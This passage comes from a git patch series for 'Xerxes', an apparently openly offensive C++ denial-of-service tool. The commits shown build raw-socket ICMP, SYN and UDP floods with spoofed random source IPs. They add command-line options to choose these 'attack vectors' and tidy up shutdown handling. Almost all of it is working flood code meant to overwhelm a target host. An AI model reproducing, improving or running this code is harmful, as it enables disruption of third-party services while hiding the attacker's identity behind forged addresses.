ip->iph_protocol = 17; // UDP + + + ip->iph_sourceip = inet_addr(s_addr); + + // The destination IP address + + ip->iph_destip = inet_addr(conf->website.c_str()); + + + udp->udph_srcport = htons(s_port); + + // Destination port number + + udp->udph_destport = htons(*(unsigned short *)conf->port.c_str()); + + udp->udph_len = htons(sizeof(struct udpheader)); + + // Calculate the checksum for integrity + + ip->iph_chksum = checksum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader)); + + // Inform the kernel do not fill up the packet structure. we will build our own... + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(sendto(s, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + close(s); + usleep(30000); + } + } +} diff --git a/Doser.h b/Doser.h index b198e0f..38c7ffb 100644 --- a/Doser.h +++ b/Doser.h @@ -25,7 +25,8 @@ class Doser { int randomInt(int min, int max); void attack(const int *id); void icmp_flood(const int *id); - unsigned short cksum(unsigned short *ptr, int nbytes); + void spoofed_tcp_flood(const int *id); + void spoofed_udp_flood(const int *id); const char *randomizeIP(); std::string randomizeUserAgent(); SSL_CTX* InitCTX(); diff --git a/headers.h b/headers.h new file mode 100644 index 0000000..4b964c3 --- /dev/null +++ b/headers.h @@ -0,0 +1,111 @@ +#ifndef XERXES_HEADERS_H +#define XERXES_HEADERS_H + +#include +#include +#include +#include +#include + + + +/* Structure of a TCP header */ + +struct tcpheader { + + unsigned short int tcph_srcport; + + unsigned short int tcph_destport; + + unsigned int tcph_seqnum; + + unsigned int tcph_acknum; + + unsigned char tcph_reserved:4, tcph_offset:4; + + // unsigned char tcph_flags; + + unsigned int + + tcp_res1:4, + + tcph_hlen:4, /*length of tcp header in 32-bit words*/ + + tcph_fin:1, /*Finish flag "fin"*/ + + tcph_syn:1, /*Synchronize sequence numbers to start a connection*/ + + tcph_rst:1, /*Reset flag */ + + tcph_psh:1, /*Push, sends data to the application*/ + + tcph_ack:1, /*acknowledge*/ + + tcph_urg:1, /*urgent pointer*/ + + tcph_res2:2; + + unsigned short int tcph_win; + + unsigned short int tcph_chksum; + + unsigned short int tcph_urgptr; + +}; + +struct ipheader { + unsigned char iph_ihl:5, iph_ver:4; + + unsigned char iph_tos; + + unsigned short int iph_len; + + unsigned short int iph_ident; + + unsigned char iph_flag; + + unsigned short int iph_offset; + + unsigned char iph_ttl; + + unsigned char iph_protocol; + + unsigned short int iph_chksum; + + unsigned int iph_sourceip; + + unsigned int iph_destip; +}; + + +// UDP header's structure +struct udpheader { + + unsigned short int udph_srcport; + + unsigned short int udph_destport; + + unsigned short int udph_len; + + unsigned short int udph_chksum; + +}; + +unsigned short checksum(unsigned short *buf, int len){ + + unsigned long sum; + + for(sum=0; len>0; len--){ + sum += *buf++; + } + + sum = (sum >> 16) + (sum &0xffff); + + sum += (sum >> 16); + + return (unsigned short)(~sum); + +} + + +#endif //XERXES_HEADERS_H From b6c0c04d86f25eaf5bcef853d5ca3da7a833876a Mon Sep 17 00:00:00 2001 From: ssh Date: Thu, 29 Mar 2018 12:00:32 +0400 Subject: [PATCH 07/14] Fixing bugs --- Doser.cpp | 133 ++++++++++++++++++++++++++--------------------------- Logger.cpp | 6 +-- 2 files changed, 68 insertions(+), 71 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 1367323..7036a0f 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -347,80 +347,77 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { } void Doser::icmp_flood(const int *id) { - int s, x, offset, on = 1; - char buf[400]; + int s, on=0, x; std::string message{}; - // Structs - auto *ip = (struct ip *)buf; - auto *icmp = (struct icmphdr *)(ip + 1); - struct hostent *hp; - struct sockaddr_in dst{}; while(true){ - for(x = 0;x < conf->CONNECTIONS; x++){ - bzero(buf, sizeof(buf)); - if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ + for(x = 0; x < conf->CONNECTIONS; x++){ + unsigned long daddr = inet_addr(conf->website.c_str()); + unsigned long saddr = inet_addr(randomizeIP()); + auto payload_size = static_cast(randomInt(1, 1000)); + if((s = socket (AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + if((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on))) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if((hp = gethostbyname(conf->website.c_str())) == nullptr){ - if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ - logger->Log("Can't resolve the host", Logger::Error); - exit(EXIT_FAILURE); - } - }else{ - bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + if((setsockopt(s, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on))) < 0) { + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); } - if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ - logger->Log("Unable to set random src ip", Logger::Error); + + size_t packet_size = sizeof (struct iphdr) + sizeof (struct icmphdr) + payload_size; + auto packet = (char *) malloc (packet_size); + + if(!packet){ + logger->Log("memory error", Logger::Error); exit(EXIT_FAILURE); } - // IP Struct - ip->ip_v = 4; - ip->ip_hl = sizeof*ip >> 2; - ip->ip_tos = 0; - ip->ip_len = htons(sizeof(buf)); - ip->ip_id = htons(4321); - ip->ip_off = htons(0); - ip->ip_ttl = 255; - ip->ip_p = 1; - ip->ip_sum = 0; - - dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_UNSPEC; + auto *ip = (struct iphdr *) packet; + auto *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr)); + bzero(packet, packet_size); + ip->version = 4; + ip->ihl = 5; + ip->tos = 0; + ip->tot_len = htons (static_cast(packet_size)); + ip->id = static_cast(randomInt(0, 1000)); + ip->frag_off = 0; + ip->ttl = 255; + ip->protocol = IPPROTO_ICMP; + ip->saddr = static_cast(saddr); + ip->daddr = static_cast(daddr); + icmp->type = ICMP_ECHO; icmp->code = 0; - icmp->checksum = htons(~(ICMP_ECHO << 8)); - for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip))){ - ip->ip_off = htons(offset >> 3); - if(offset < 65120){ - ip->ip_off |= htons(0x2000); - }else{ - ip->ip_len = htons(418); - } - - if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ - logger->Log("sendto() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(offset == 0){ - icmp->type = 0; - icmp->code = 0; - icmp->checksum = 0; - } + icmp->un.echo.sequence = static_cast(randomInt(0, 1000)); + icmp->un.echo.id = static_cast(randomInt(0, 1000)); + //checksum + icmp->checksum = 0; + + struct sockaddr_in servaddr{}; + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = static_cast(daddr); + bzero(&servaddr.sin_zero, sizeof(servaddr.sin_zero)); + memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), randomInt(0, 255), payload_size); + + //recalculate the icmp header checksum since we are filling the payload with random characters everytime + icmp->checksum = 0; + icmp->checksum = checksum((unsigned short *)icmp, sizeof(struct icmphdr) + payload_size); + + if( (sendto(s, packet, packet_size, 0, (struct sockaddr*) &servaddr, sizeof (servaddr))) < 1) { + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + free(packet); close(s); - usleep(30000); } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(30000); } } @@ -459,9 +456,9 @@ void Doser::spoofed_tcp_flood(const int *id) { sin.sin_family = AF_UNSPEC; din.sin_family = AF_UNSPEC; - sin.sin_port = htons(s_port); + sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(strtol(conf->port.c_str(), nullptr, 10)); + din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); sin.sin_addr.s_addr = inet_addr(s_addr); @@ -490,9 +487,9 @@ void Doser::spoofed_tcp_flood(const int *id) { ip->iph_destip = inet_addr(conf->website.c_str()); - tcp->tcph_srcport = htons(s_port); + tcp->tcph_srcport = htons(static_cast(s_port)); - tcp->tcph_destport = htons(strtol(conf->port.c_str(), nullptr, 10)); + tcp->tcph_destport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); tcp->tcph_seqnum = htonl(1); @@ -520,11 +517,11 @@ void Doser::spoofed_tcp_flood(const int *id) { logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); close(s); - usleep(30000); } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(30000); } } @@ -552,9 +549,9 @@ void Doser::spoofed_udp_flood(const int *id) { sin.sin_family = AF_UNSPEC; din.sin_family = AF_UNSPEC; - sin.sin_port = htons(s_port); + sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(strtol(conf->port.c_str(), nullptr, 10)); + din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); // Source IP, can be any, modify as needed @@ -584,7 +581,7 @@ void Doser::spoofed_udp_flood(const int *id) { ip->iph_destip = inet_addr(conf->website.c_str()); - udp->udph_srcport = htons(s_port); + udp->udph_srcport = htons(static_cast(s_port)); // Destination port number @@ -607,10 +604,10 @@ void Doser::spoofed_udp_flood(const int *id) { logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); close(s); - usleep(30000); } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(30000); } } diff --git a/Logger.cpp b/Logger.cpp index a644376..c7d58fe 100644 --- a/Logger.cpp +++ b/Logger.cpp @@ -12,13 +12,13 @@ void Logger::Log(std::string *message, Level l) { case Level::None: break; case Level::Error: - std::cerr << RED << "[ERROR]: " << *message << RESET << std::endl; + std::cerr << RED << "[ERROR]: " << *message << RESET << "\n"; break; case Level::Warning: - std::cout << YEL << "[WARNING]: " << *message << RESET << std::endl; + std::cout << YEL << "[WARNING]: " << *message << RESET << "\n"; break; case Level::Info: - std::cout << GRN << "[INFO]: " << *message << RESET << std::endl; + std::cout << GRN << "[INFO]: " << *message << RESET << "\n"; break; default: return; From 3028b166c76a348e18907ca279cba3add1522466 Mon Sep 17 00:00:00 2001 From: ssh Date: Thu, 29 Mar 2018 12:27:12 +0400 Subject: [PATCH 08/14] Fixing bugs --- Doser.cpp | 82 ++++++++++++++++++++++++------------------------------- 1 file changed, 35 insertions(+), 47 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 7036a0f..5957ba3 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -347,72 +347,60 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { } void Doser::icmp_flood(const int *id) { - int s, on=0, x; + int s, x, offset, on = 1; + char buf[400]; std::string message{}; + // Structs + auto *ip = (struct ip *)buf; + auto *icmp = (struct icmphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; while(true){ - for(x = 0; x < conf->CONNECTIONS; x++){ - unsigned long daddr = inet_addr(conf->website.c_str()); - unsigned long saddr = inet_addr(randomizeIP()); - auto payload_size = static_cast(randomInt(1, 1000)); - if((s = socket (AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ + for(x = 0;x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - if((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on))) < 0){ + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if((setsockopt(s, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on))) < 0) { - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); } - - size_t packet_size = sizeof (struct iphdr) + sizeof (struct icmphdr) + payload_size; - auto packet = (char *) malloc (packet_size); - - if(!packet){ - logger->Log("memory error", Logger::Error); + if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); exit(EXIT_FAILURE); } - auto *ip = (struct iphdr *) packet; - auto *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr)); - bzero(packet, packet_size); - ip->version = 4; - ip->ihl = 5; - ip->tos = 0; - ip->tot_len = htons (static_cast(packet_size)); - ip->id = static_cast(randomInt(0, 1000)); - ip->frag_off = 0; - ip->ttl = 255; - ip->protocol = IPPROTO_ICMP; - ip->saddr = static_cast(saddr); - ip->daddr = static_cast(daddr); - + // IP Struct + ip->ip_v = 4; + ip->ip_hl = sizeof*ip >> 2; + ip->ip_tos = 0; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = htons(4321); + ip->ip_off = htons(0x0); + ip->ip_ttl = 255; + ip->ip_p = 1; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; icmp->type = ICMP_ECHO; icmp->code = 0; - icmp->un.echo.sequence = static_cast(randomInt(0, 1000)); - icmp->un.echo.id = static_cast(randomInt(0, 1000)); - //checksum - icmp->checksum = 0; - - struct sockaddr_in servaddr{}; - servaddr.sin_family = AF_INET; - servaddr.sin_addr.s_addr = static_cast(daddr); - bzero(&servaddr.sin_zero, sizeof(servaddr.sin_zero)); - memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), randomInt(0, 255), payload_size); - - //recalculate the icmp header checksum since we are filling the payload with random characters everytime - icmp->checksum = 0; - icmp->checksum = checksum((unsigned short *)icmp, sizeof(struct icmphdr) + payload_size); - - if( (sendto(s, packet, packet_size, 0, (struct sockaddr*) &servaddr, sizeof (servaddr))) < 1) { + icmp->checksum = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); + if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } - free(packet); close(s); } message = std::to_string(*id) + ": Voly Sent"; From 9c89414242d2e41e486a0723326f022cd1fccd75 Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 30 Mar 2018 00:07:06 +0400 Subject: [PATCH 09/14] Adding New Attack Vectors --- Configuration.h | 2 +- Doser.cpp | 114 ++++++++++++++++++++---------------------------- Parser.cpp | 27 ++++++++---- Validator.cpp | 4 +- main.cpp | 25 ++++++----- 5 files changed, 83 insertions(+), 89 deletions(-) diff --git a/Configuration.h b/Configuration.h index 4630597..8ba9651 100644 --- a/Configuration.h +++ b/Configuration.h @@ -5,7 +5,7 @@ #include struct config{ - enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood}; + enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedTCP, SpoofedUDP}; enum Protocol{TCP, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; diff --git a/Doser.cpp b/Doser.cpp index 5957ba3..12d4208 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -15,9 +15,6 @@ void Doser::attack(const int *id){ - if(conf->vector == config::ICMPFlood){ - icmp_flood(id); - } int x, r; std::vector sockets; std::vector packets; @@ -182,6 +179,15 @@ void Doser::run() { case config::Slowloris: logger->Log("Attack Vector: Slowloris", Logger::Info); break; + case config::ICMPFlood: + logger->Log("Attack Vector: ICMP Flood", Logger::Info); + break; + case config::SpoofedTCP: + logger->Log("Attack Vector: Spoofed TCP", Logger::Info); + break; + case config::SpoofedUDP: + logger->Log("Attack Vector: Spoofed UDP", Logger::Info); + break; default:break; } if(conf->UseSSL){ @@ -198,8 +204,29 @@ void Doser::run() { for (int x = 0; x < conf->THREADS; x++) { switch (fork()){ case 0:break; - default: - attack(&x); + default:{ + switch (conf->vector){ + case config::HTTP: + case config::NullUDP: + case config::NullTCP: + case config::TCPFlood: + case config::UDPFlood: + attack(&x); + break; + case config::SpoofedTCP: + spoofed_tcp_flood(&x); + break; + case config::SpoofedUDP: + spoofed_udp_flood(&x); + break; + case config::ICMPFlood: + icmp_flood(&x); + break; + default: + attack(&x); + } + } + } usleep(200000); } @@ -358,7 +385,7 @@ void Doser::icmp_flood(const int *id) { while(true){ for(x = 0;x < conf->CONNECTIONS; x++){ bzero(buf, sizeof(buf)); - if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } @@ -383,10 +410,10 @@ void Doser::icmp_flood(const int *id) { // IP Struct ip->ip_v = 4; - ip->ip_hl = sizeof*ip >> 2; + ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(sizeof(buf)); - ip->ip_id = htons(4321); + ip->ip_id = static_cast(randomInt(1, 1000)); ip->ip_off = htons(0x0); ip->ip_ttl = 255; ip->ip_p = 1; @@ -395,7 +422,7 @@ void Doser::icmp_flood(const int *id) { dst.sin_addr = ip->ip_dst; dst.sin_family = AF_UNSPEC; icmp->type = ICMP_ECHO; - icmp->code = 0; + icmp->code = static_cast(randomInt(1, 1000)); icmp->checksum = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ logger->Log("sendto() error", Logger::Error); @@ -442,60 +469,37 @@ void Doser::spoofed_tcp_flood(const int *id) { } sin.sin_family = AF_UNSPEC; - din.sin_family = AF_UNSPEC; sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - - sin.sin_addr.s_addr = inet_addr(s_addr); - din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + // IP Struct ip->iph_ihl = 5; - ip->iph_ver = 4; - ip->iph_tos = 16; - ip->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader); - ip->iph_ident = htons(54321); - ip->iph_offset = 0; - ip->iph_ttl = 64; - - ip->iph_protocol = 6; // TCP - - ip->iph_chksum = 0; // Done by kernel - + ip->iph_protocol = 6; + ip->iph_chksum = 0; ip->iph_sourceip = inet_addr(s_addr); - - ip->iph_destip = inet_addr(conf->website.c_str()); - tcp->tcph_srcport = htons(static_cast(s_port)); + // TCP Struct + tcp->tcph_srcport = htons(static_cast(s_port)); tcp->tcph_destport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->tcph_seqnum = htonl(1); - tcp->tcph_acknum = 0; - tcp->tcph_offset = 5; - tcp->tcph_syn = 1; - tcp->tcph_ack = 0; - tcp->tcph_win = htons(32767); - - tcp->tcph_chksum = 0; // Done by kernel - + tcp->tcph_chksum = 0; tcp->tcph_urgptr = 0; ip->iph_chksum = checksum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct tcpheader))); - // Inform the kernel do not fill up the headers' structure, we fabricated our own if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); @@ -535,54 +539,30 @@ void Doser::spoofed_udp_flood(const int *id) { } sin.sin_family = AF_UNSPEC; - din.sin_family = AF_UNSPEC; sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - - // Source IP, can be any, modify as needed - sin.sin_addr.s_addr = inet_addr(s_addr); - din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + // IP Struct ip->iph_ihl = 5; - ip->iph_ver = 4; - - ip->iph_tos = 16; // Low delay - + ip->iph_tos = 16; ip->iph_len = sizeof(struct ipheader) + sizeof(struct udpheader); - ip->iph_ident = htons(54321); - - ip->iph_ttl = 64; // hops - - ip->iph_protocol = 17; // UDP - - + ip->iph_ttl = 64; + ip->iph_protocol = 17; ip->iph_sourceip = inet_addr(s_addr); - - // The destination IP address - ip->iph_destip = inet_addr(conf->website.c_str()); - + // UDP Struct udp->udph_srcport = htons(static_cast(s_port)); - - // Destination port number - udp->udph_destport = htons(*(unsigned short *)conf->port.c_str()); - udp->udph_len = htons(sizeof(struct udpheader)); - // Calculate the checksum for integrity - ip->iph_chksum = checksum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader)); - // Inform the kernel do not fill up the packet structure. we will build our own... - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); diff --git a/Parser.cpp b/Parser.cpp index 369f09f..126d19d 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -7,11 +7,14 @@ void Parser::help() { std::string message{"Usage: ./Xerxes \n" "\nOptions:\n" " -h set attack vector to HTTP\n" + " -i set attack vector to Spoofed ICMP Flood\n" + " -s set attack vector to Slowloris\n" " -nu set attack vector to NULLUDP\n" " -nt set attack vector to NULLTCP\n" " -ft set attack vector to TCPFlood\n" " -fu set attack vector to UDPFlood\n" - " -s set attack vector to Slowloris\n" + " -su set attack vector to Spoofed UDP Flood\n" + " -st set attack vector to Spoofed TCP Flood\n" " -ss enable SSL\n" " -w wait for hosts response\n" " -rh randomize HTTP Header\n" @@ -70,11 +73,19 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { conf->GetResponse = true; break; case 's': - if(argv[i][2] == 's'){ - conf->UseSSL = true; - }else{ - conf->vector = config::Slowloris; - conf->protocol = config::TCP; + switch(argv[i][2]){ + case 's': + conf->UseSSL = true; + break; + case 'u': + conf->vector = config::SpoofedUDP; + break; + case 't': + conf->vector = config::SpoofedTCP; + break; + default: + conf->vector = config::Slowloris; + conf->protocol = config::TCP; } break; case 'q': @@ -100,8 +111,8 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { break; } default:{ - conf->website = (std::string) argv[1]; - conf->port = (std::string) argv[2]; + conf->website = static_cast(argv[1]); + conf->port = static_cast(argv[2]); if(Validator::isValidNumber(argv[3]) & Validator::isValidNumber(argv[4])){ conf->THREADS = static_cast(strtol(argv[3], nullptr, 10)); conf->CONNECTIONS = static_cast(strtol(argv[4], nullptr, 10)); diff --git a/Validator.cpp b/Validator.cpp index cf4788b..f85ccee 100644 --- a/Validator.cpp +++ b/Validator.cpp @@ -25,11 +25,11 @@ bool Validator::isValidNumber(char const *num) { } bool Validator::isValidConfig() { - return (!conf->website.empty() & !conf->port.empty() & conf->CONNECTIONS != 0 & conf->THREADS != 0); + return !conf->website.empty() & !conf->port.empty() & conf->CONNECTIONS != 0 & conf->THREADS != 0; } bool Validator::Validate() { - return (isValidConfig() & isValidWebsite() & isValidPort()); + return isValidConfig() & isValidWebsite() & isValidPort(); } bool Validator::isValidHostname(){ diff --git a/main.cpp b/main.cpp index 6ba3e71..2e27874 100644 --- a/main.cpp +++ b/main.cpp @@ -3,11 +3,23 @@ #include #include "Parser.h" -void capture_signal(int); - const pid_t m_pid = getpid(); +void exiting(int){ + if (getpid() == m_pid) { + std::cout << "Shutting down...\n"; + usleep(1000000); + } + exit(EXIT_SUCCESS); +} + int main(const int argc, const char *argv[]) { + signal(SIGINT, exiting); + signal(SIGABRT, exiting); + signal(SIGTERM, exiting); + signal(SIGTSTP, exiting); + + Parser::show_banner(); config conf{}; Logger logger{Logger::Info}; @@ -15,7 +27,6 @@ int main(const int argc, const char *argv[]) { parser.parse_commandline(&argc, argv); Validator validator(&conf); if(validator.Validate()){ - signal(SIGINT, capture_signal); Doser doser(&conf, &logger); doser.run(); }else{ @@ -24,12 +35,4 @@ int main(const int argc, const char *argv[]) { } return 0; -} - -void capture_signal(int) { - if (getpid() == m_pid) { - std::cout << "\nShutting down..." << std::endl; - usleep(1000000); - } - exit(EXIT_SUCCESS); } \ No newline at end of file From 7a58387abf5674108c08a0e5b166bff597ad3ca9 Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 30 Mar 2018 01:19:56 +0400 Subject: [PATCH 10/14] Adding New Attack Vectors --- CMakeLists.txt | 2 +- Doser.cpp | 142 +++++++++++++++++++++++++++++-------------------- Doser.h | 1 + headers.h | 111 -------------------------------------- 4 files changed, 86 insertions(+), 170 deletions(-) delete mode 100644 headers.h diff --git a/CMakeLists.txt b/CMakeLists.txt index e274b76..151669f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -11,6 +11,6 @@ if( OPENSSL_FOUND ) message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") endif() -add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h headers.h) +add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) \ No newline at end of file diff --git a/Doser.cpp b/Doser.cpp index 12d4208..7e084cd 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -10,8 +10,9 @@ #include #include #include +#include +#include #include "Doser.h" -#include "headers.h" void Doser::attack(const int *id){ @@ -374,7 +375,7 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { } void Doser::icmp_flood(const int *id) { - int s, x, offset, on = 1; + int s, x, on = 1; char buf[400]; std::string message{}; // Structs @@ -451,61 +452,70 @@ const char *Doser::randomizeIP() { void Doser::spoofed_tcp_flood(const int *id) { int s, on = 1, x; std::string message{}; - char buffer[8192]; + char buf[8192]; + auto *ip = (struct ip *)buf; + auto *tcp = (struct tcphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + auto s_port = randomInt(0, 65535); while (true){ for(x = 0; x < conf->CONNECTIONS; x++){ - auto s_addr = randomizeIP(); - auto s_port = randomInt(0, 65535); - bzero(buffer, sizeof(buffer)); - auto *ip = (struct ipheader *) buffer; - - auto *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader)); - - struct sockaddr_in sin{}, din{}; - - if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_TCP)) < 0){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - sin.sin_family = AF_UNSPEC; - din.sin_family = AF_UNSPEC; - sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - sin.sin_addr.s_addr = inet_addr(s_addr); - din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } // IP Struct - ip->iph_ihl = 5; - ip->iph_ver = 4; - ip->iph_tos = 16; - ip->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader); - ip->iph_ident = htons(54321); - ip->iph_offset = 0; - ip->iph_ttl = 64; - ip->iph_protocol = 6; - ip->iph_chksum = 0; - ip->iph_sourceip = inet_addr(s_addr); - ip->iph_destip = inet_addr(conf->website.c_str()); + ip->ip_hl = 5; + ip->ip_v = 4; + ip->ip_tos = 16; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = static_cast(randomInt(1, 1000)); + ip->ip_off = htons(0x0); + ip->ip_ttl = 64; + ip->ip_p = 6; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; // TCP Struct - tcp->tcph_srcport = htons(static_cast(s_port)); - tcp->tcph_destport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->tcph_seqnum = htonl(1); - tcp->tcph_acknum = 0; - tcp->tcph_offset = 5; - tcp->tcph_syn = 1; - tcp->tcph_ack = 0; - tcp->tcph_win = htons(32767); - tcp->tcph_chksum = 0; - tcp->tcph_urgptr = 0; - ip->iph_chksum = checksum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct tcpheader))); + tcp->source = 